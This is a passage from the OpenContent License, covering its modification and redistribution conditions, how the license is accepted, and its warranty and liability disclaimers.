may not charge a fee for the sole service of providing access to and/or use of the
OC via a network (e.g. the Internet), whether it be via the world wide web, FTP, or
any other method.

2. You may modify your copy or copies of the OpenContent or any portion of it, thus
forming works based on the Content, and distribute such modifications or work
under the terms of Section 1 above, provided that you also meet all of these
conditions:

a) You must cause the modified content to carry prominent notices stating that you
changed it, the exact nature and content of the changes, and the date of any
change.

b) You must cause any work that you distribute or publish, that in whole or in part
contains or is derived from the OC or any part thereof, to be licensed as a whole at
no charge to all third parties under the terms of this License, unless otherwise
permitted under applicable Fair Use law.
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These requirements apply to the modified work as a whole. If identifiable sections of
that work are not derived from the OC, and can be reasonably considered
independent and separate works in themselves, then this License, and its terms, do
not apply to those sections when you distribute them as separate works. But when
you distribute the same sections as part of a whole which is a work based on the OC,
the distribution of the whole must be on the terms of this License, whose
permissions for other licensees extend to the entire whole, and thus to each and
every part regardless of who wrote it. Exceptions are made to this requirement to
release modified works free of charge under this license only in compliance with Fair
Use law where applicable.

3. You are not required to accept this License, since you have not signed it.
However, nothing else grants you permission to copy, distribute or modify the OC.
These actions are prohibited by law if you do not accept this License. Therefore, by
distributing or translating the OC, or by deriving works herefrom, you indicate your
acceptance of this License to do so, and all its terms and conditions for copying,
distributing or translating the OC.

NO WARRANTY

4. BECAUSE THE OPENCONTENT (OC) IS LICENSED FREE OF CHARGE, THERE
IS NO WARRANTY FOR THE OC, TO THE EXTENT PERMITTED BY APPLICABLE
LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE OC “AS IS” WITHOUT
WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT
NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK OF USE OF THE OC
IS WITH YOU. SHOULD THE OC PROVE FAULTY, INACCURATE, OR OTHERWISE
UNACCEPTABLE YOU ASSUME THE COST OF ALL NECESSARY REPAIR OR
CORRECTION.

9. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY
MIRROR AND/OR REDISTRIBUTE THE OC AS PERMITTED ABOVE, BE LIABLE
TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE
THE OC, EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF
THE POSSIBILITY OF SUCH DAMAGES.
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